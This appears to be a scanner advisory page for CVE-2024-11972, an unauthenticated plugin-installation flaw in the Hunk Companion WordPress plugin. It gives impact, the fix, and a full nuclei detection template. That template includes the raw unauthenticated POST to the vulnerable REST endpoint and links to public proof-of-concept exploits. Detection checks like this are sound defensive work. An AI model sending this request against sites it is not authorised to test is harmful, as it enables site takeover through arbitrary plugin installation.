Hunk Companion < 1.9.0 - Unauthenticated Plugin Installation

criticalseverity

9.8CVSS score

59.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The plugin does not correctly authorize some REST API endpoints, allowing unauthenticated requests to install and activate arbitrary plugins from the WordPress.org repo, including vulnerable plugins that have been closed.

Impact

Unauthenticated attackers can install and activate arbitrary WordPress plugins including vulnerable or malicious ones, leading to potential site compromise.

Fix

Update Hunk Companion plugin to version 1.9.0 or later.

How to confirm it

Send: GET / ; POST /wp-json/hc/v1/themehunk-import
Positive when: contains in body_2 "\"\\\"https:\\\\\\/\\\\\\/" AND contains in content_type_2 "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-11972 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-11972

info:
  name: Hunk Companion < 1.9.0 - Unauthenticated Plugin Installation
  author: s4e-io
  severity: critical
  description: |
    The plugin does not correctly authorize some REST API endpoints, allowing unauthenticated requests to install and activate arbitrary plugins from the WordPress.org repo, including vulnerable plugins that have been closed.
  impact: |
    Unauthenticated attackers can install and activate arbitrary WordPress plugins including vulnerable or malicious ones, leading to potential site compromise.
  remediation: |
    Update Hunk Companion plugin to version 1.9.0 or later.
  reference:
    - https://wpscan.com/vulnerability/4963560b-e4ae-451d-8f94-482779c415e4/
    - https://github.com/JunTakemura/exploit-CVE-2024-11972
    - https://github.com/Nxploited/CVE-2024-11972-PoC
    - https://github.com/RonF98/CVE-2024-11972-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-11972
    epss-score: 0.59055
    epss-percentile: 0.99121
    cpe: cpe:2.3:a:themehunk:hunk_companion:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: themehunk
    product: hunk_companion
    framework: wordpress
    fofa-query: body="/wp-content/plugins/hunk-companion/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,hunk-companion,vkev,vuln

variables:
  plugin: "{{to_lower(rand_text_alpha(6))}}"
  x-wp-nonce: "{{to_lower(rand_text_alpha(12))}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-json/hc/v1/themehunk-import HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"params":{"templateType":"free","plugin":{"{{plugin}}": "{{plugin}}"},"allPlugins":[{"{{plugin}}": "{{plugin}}/{{plugin}}.php"}]},"headers":{"X-WP-Nonce":"{{x-wp-nonce}}"}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"\"https:\\\/\\\/'

      - type: word
        part: content_type_2
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from